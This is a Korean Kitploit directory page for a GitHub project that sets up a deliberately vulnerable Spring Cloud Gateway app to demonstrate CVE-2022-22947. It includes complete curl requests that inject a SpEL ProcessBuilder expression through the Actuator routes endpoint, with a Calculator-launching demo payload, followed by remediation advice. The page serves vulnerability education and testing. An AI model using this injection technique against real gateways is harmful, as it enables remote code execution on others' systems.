Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22947-pb-ai — AI로 생성된 취약점 검증 애플리케이션 | Kitploit
도구/GitHubGitHub/skysliently/cve-2022-22947-pb-ai
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationAPI Security TestingLearning & Education
GitHubskysliently/cve-2022-22947-pb-ai

CVE-2022-22947-pb-ai

AI로 생성된 취약점 검증 애플리케이션

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-22947 Spring Cloud Gateway 취약점 검증 애플리케이션

이것은 CVE-2022-22947 취약점을 데모하고 검증하기 위해 특별히 설계된 Spring Cloud Gateway 애플리케이션입니다. 이 애플리케이션은 취약한 버전의 Spring Cloud Gateway를 사용하며, Actuator 엔드포인트를 통해 임의 코드를 실행할 수 있습니다.

취약점 개요

CVE-2022-22947은 Spring Cloud Gateway의 원격 코드 실행 취약점입니다. 공격자는 Actuator 엔드포인트를 통해 악성 SpEL 표현식이 포함된 라우트를 동적으로 추가하여 임의 코드를 실행할 수 있습니다.

환경 요구 사항

  • Java 11+
  • Maven 3.6+
  • macOS 시스템(계산기 데모용)

애플리케이션 시작

root@kitploit:~
mvn spring-boot:run

애플리케이션은 http://localhost:8080에서 시작됩니다.

취약점 검증 단계

1단계: 악성 라우트 추가

/actuator/gateway/routes/test 엔드포인트에 POST 요청을 보내 악성 SpEL 표현식이 포함된 라우트를 추가합니다:

root@kitploit:~
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
  -H "Content-Type: application/json" \
  -d '{
    "id": "test",
    "filters": [
      {
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
        }
      }
    ],
    "uri": "http://example.com",
    "predicates": [
      {
        "name": "Path",
        "args": {
          "_genkey_0": "/test"
        }
      }
    ]
  }'

2단계: 라우트 새로고침

/actuator/gateway/refresh 엔드포인트에 POST 요청을 보내 라우트를 새로고침합니다:

root@kitploit:~
curl -X POST http://localhost:8080/actuator/gateway/refresh

3단계: 악성 코드 트리거

악성 라우트에 접근하여 코드 실행을 트리거합니다:

root@kitploit:~
curl http://localhost:8080/test

예상 결과

취약점을 성공적으로 악용하면 macOS 계산기 애플리케이션이 실행됩니다.

주요 요청 정보

1. 악성 라우트 추가 요청

엔드포인트: POST /actuator/gateway/routes/test

요청 헤더:

root@kitploit:~
Content-Type: application/json

요청 본문:

root@kitploit:~
{
  "id": "test",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "Result",
        "value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
      }
    }
  ],
  "uri": "http://example.com",
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/test"
      }
    }
  ]
}

2. 라우트 새로고침 요청

엔드포인트: POST /actuator/gateway/refresh

3. 취약점 트리거 요청

엔드포인트: GET /test

취약점 분석

이 취약점은 공격자가 Actuator 엔드포인트를 통해 라우트를 동적으로 추가하고, 라우트 필터에서 SpEL 표현식을 사용하여 임의 코드를 실행할 수 있게 합니다. 취약점의 핵심은 Spring Cloud Gateway가 라우트 구성의 SpEL 표현식을 부적절하게 처리한다는 점입니다.

수정 권장 사항

  1. Spring Cloud Gateway 3.1.1+ 또는 3.0.7+로 업그레이드
  2. Actuator 엔드포인트 비활성화 또는 접근 제한
  3. Spring Security를 사용하여 Actuator 엔드포인트 보호

버전 정보

  • Spring Boot: 2.6.2
  • Spring Cloud: 2021.0.0
  • Spring Cloud Gateway: 3.1.0 (취약한 버전)

주의사항

⚠️ 보안 경고: 이 애플리케이션은 교육 및 보안 연구 목적으로만 사용하세요. 프로덕션 환경에서 이 애플리케이션을 사용하거나 배포하지 마세요.

⚠️ 법적 고지: 이 애플리케이션으로 취약점 테스트를 수행할 때 적절한 권한이 있는지 확인하세요. 무단 테스트는 법률을 위반할 수 있습니다.

도구 다운로드